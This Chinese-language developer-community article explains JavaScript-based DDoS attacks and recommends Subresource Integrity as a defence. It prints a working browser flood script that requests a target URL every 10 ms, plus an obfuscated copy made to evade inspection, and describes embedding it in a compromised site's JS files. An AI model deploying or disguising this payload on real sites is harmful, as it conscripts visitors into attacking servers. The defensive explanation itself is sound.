前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >简单又可怕!基于JavaScript(JS)的DDOS攻击

简单又可怕!基于JavaScript(JS)的DDOS攻击

原创
作者头像
用户8703799
发布2023-10-11 09:00:50
4070
发布2023-10-11 09:00:50
举报
文章被收录于专栏:javascript技术javascript技术

最古老、最普遍、却又最可怕的攻击非DDoS攻击莫属。 在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。 然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中:使用恶意的JavaScript欺骗用户参与DDoS攻击。 基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与攻击,其潜在攻击规模接近无限。 基于JavaScript的DDOS攻击原理 现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过 <script src=""> HTML从远程服务器载入。 function imgflood() { var TARGET = ''victim-website.com' var URI = '/index.php?' var pic = new Image() var rand = Math.floor(Math.random() * 1000) pic.src = 'http://'+TARGET+URI+rand+'=val' } setInterval(imgflood, 10) 该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“'victim-website.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “'victim-website.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

由于是JS代码,所以通过查看网页源码,可以直接的看到攻击代码,发现是攻击网页。但如果以上的代码经过JShaman平台的混淆,JS代码会被保护起来,更难以被识别和发现:

var _0x9ea1=['victim\x2dwebsite\x2ecom','\x2findex\x2ephp\x3f','floor','random','src','http\x3a\x2f\x2f','\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7['\x70\x75\x73\x68'](_0xa439d7['\x73\x68\x69\x66\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x393163=_0x9ea1[_0x3ac308];return _0x393163;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');var _0x189885=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);

如果攻击者入侵了一个网站,在网站js文件中嵌入了类似上面的恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重

如何防止这种攻击?

目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。 例如,如下脚本标签:

<script src="https://code.jquery.com/jquery-1.10.2.min.js">

浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别(也识别不出)。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

<script src="https://code.jquery.com/jquery-1.10.2.min.js" integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=" crossorigin="anonymous">

建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。 注:目前Chrome和Firefox支持子资源完整性校验。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com